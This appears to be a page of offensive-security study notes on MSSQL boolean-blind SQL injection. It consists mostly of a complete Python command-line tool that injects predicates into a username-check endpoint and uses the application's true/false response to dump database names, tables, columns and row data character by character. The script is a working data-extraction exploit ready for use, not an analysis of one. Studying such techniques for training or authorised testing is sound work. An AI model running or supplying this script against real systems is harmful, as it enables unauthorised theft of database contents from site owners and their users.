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Boolean Blind

Boolean Blind

MSSQL boolean-blind linear harness

Blind SQL injection means that MSSQL evaluates the injected query but does not return the selected value directly. oracle() accepts a SQL predicate, inserts it into the request, and converts a repeatable application response into a Python Boolean. In this template, a known username remains reported as taken only when the injected predicate is true.

Only oracle() is target-specific. get_count() finds the number of rows, get_length() finds the length of one selected value, and dump_value() tests one possible character at each position. Together, the same CLI can dump the current database, database names, table names, column names, and selected rows.

The SQL passed into the oracle uses MSSQL syntax throughout: LEN, SUBSTRING, ASCII, db_name(), sys.databases, information_schema, and OFFSET ... FETCH NEXT.

import requests
import urllib3
import argparse
import sys
from colorama import Fore, init
import string

init(autoreset=True)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

CHARSET = string.ascii_letters + string.digits + string.punctuation + " "
TRUE_STRING = "taken"
KNOWN_USER = "maria"
parser = argparse.ArgumentParser(
    description="MSSQL boolean-blind SQL injection dumping harness.",
    epilog=f"Example: {sys.argv[0]} -t http://example.com [-x http://127.0.0.1:8080] --current-db")
parser.add_argument("-t", "--target", required=True, type=str, help="URL of the target, including the port.")
parser.add_argument("-x", "--proxy", required=False, type=str, help="Optional proxy to pass traffic through.", default=None)
parser.add_argument("--current-db", required=False, action="store_true", help="Dump the current database name.")
parser.add_argument("--databases", required=False, action="store_true", help="Dump database names.")
parser.add_argument("--tables", required=False, action="store_true", help="Dump table names from the selected database.")
parser.add_argument("--columns", required=False, action="store_true", help="Dump column names from the selected table.")
parser.add_argument("--dump", required=False, action="store_true", help="Dump selected columns from the selected table.")
parser.add_argument("-D", "--database", required=False, type=str, help="Database name.", default=None)
parser.add_argument("-T", "--table", required=False, type=str, help="Table name.", default=None)
parser.add_argument("-C", "--columns_to_dump", required=False, type=str, help="Comma-separated columns to dump.", default=None)
args = parser.parse_args()
PROXY = args.proxy
if PROXY is not None:
    PROXY = PROXY.strip()
    PROXIES = {
        "http": PROXY,
        "https": PROXY
    }
else:
    PROXIES = {}
URL = args.target.rstrip("/").strip()

def oracle(s, query):
    params = {
        "u": f"{KNOWN_USER}' AND ({query}) -- -"
    }
    try:
        r = s.get(url=f"{URL}/api/check-username.php", params=params, verify=False, timeout=10, proxies=PROXIES)
    except Exception as e:
        print(f"{Fore.RED}\n[-] Could not make request: {e}")
        sys.exit(1)
    if r.status_code == 200 and TRUE_STRING in r.text:
        return True
    return False

def get_count(s, query, label):
    count = 0
    while True:
        print(f"\r[+] Bruteforcing number of {label}: {count}", end="", flush=True)
        count_query = f"({query})={count}"
        if oracle(s, count_query) == True:
            print(f"{Fore.GREEN}\n[+] Number of {label}: {count}")
            return count
        count += 1

def get_length(s, query, label):
    length = 0
    while True:
        print(f"\r[+] Bruteforcing length of {label}: {length}", end="", flush=True)
        length_query = f"LEN(({query}))={length}"
        if oracle(s, length_query) == True:
            print(f"{Fore.GREEN}\n[+] Length of {label}: {length}")
            return length
        length += 1

def dump_value(s, query, label):
    value = ""
    length = get_length(s, query, label)
    for pos in range(1, length + 1):
        for char in CHARSET:
            print(f"\r[+] Dumping {label}: {value}", end="", flush=True)
            # ord returns the corresponding decimal number the string has in the ASCII table
            dump_query = f"ASCII(SUBSTRING(({query}),{pos},1))={ord(char)}"
            if oracle(s, dump_query):
                value += char
                break
    print(f"{Fore.GREEN}\n[+] {label}: {value}")
    return value
if __name__ == "__main__":
    s = requests.Session()
    if args.current_db:
        dump_value(s, "SELECT db_name()", "current database name")
    if args.databases:
        database_count = get_count(s, "SELECT COUNT(*) FROM sys.databases", "databases")
        for pos in range(0, database_count):
            query = f"SELECT name FROM sys.databases ORDER BY name OFFSET {pos} ROWS FETCH NEXT 1 ROWS ONLY"
            label = f"database number {pos}"
            dump_value(s, query, label)
    if args.tables:
        database = args.database
        if not database:
            print(f"{Fore.RED}\n[-] It is required to specify the database to dump table names from.")
            sys.exit(1)
        table_count = get_count(s, f"SELECT COUNT(*) FROM information_schema.tables WHERE table_catalog='{database}'", "table count")
        for pos in range(0, table_count):
            query = f"SELECT table_name FROM information_schema.tables WHERE table_catalog='{database}' ORDER BY table_name OFFSET {pos} ROWS FETCH NEXT 1 ROWS ONLY"
            label = f"table number {pos}"
            dump_value(s, query, label)
    if args.columns:
        database = args.database
        table = args.table
        if not database or not table:
            print(f"{Fore.RED}\n[-] It is required to specify the database and table to dump column names from.")
            sys.exit(1)
        column_count = get_count(s, f"SELECT COUNT(*) FROM information_schema.columns WHERE table_catalog='{database}' AND table_name='{args.table}'", "column count")
        for pos in range(0, column_count):
            query = f"SELECT column_name FROM information_schema.columns WHERE table_catalog='{database}' AND table_name='{args.table}' ORDER BY column_name OFFSET {pos} ROWS FETCH NEXT 1 ROWS ONLY"
            label = f"column number {pos}"
            dump_value(s, query, label)
    if args.dump:
        database = args.database
        table = args.table
        columns = args.columns_to_dump
        if not database or not table or not columns:
            print(f"{Fore.RED}\n[-] It is required to specify the database,table and columns to dump data from.")
            sys.exit(1)
        columns_list = columns.split(",")
        row_count = get_count(s, f"SELECT COUNT(*) FROM {database}.dbo.{args.table}", "row count")
        for pos in range(0, row_count):
            for column in columns_list:
                query = f"SELECT CAST({column} AS NVARCHAR(4000)) FROM {database}.dbo.{args.table} ORDER BY {column} OFFSET {pos} ROWS FETCH NEXT 1 ROWS ONLY"
                label = f"{table}.{column} row {pos}"
                dump_value(s, query, label)

Find by: mssql, boolean blind sqli, sql server, len, substring, ascii, db_name, sys.databases, information_schema, offset fetch, row dump, sqlmap style cli · Source: CWEE/Blind SQL Injection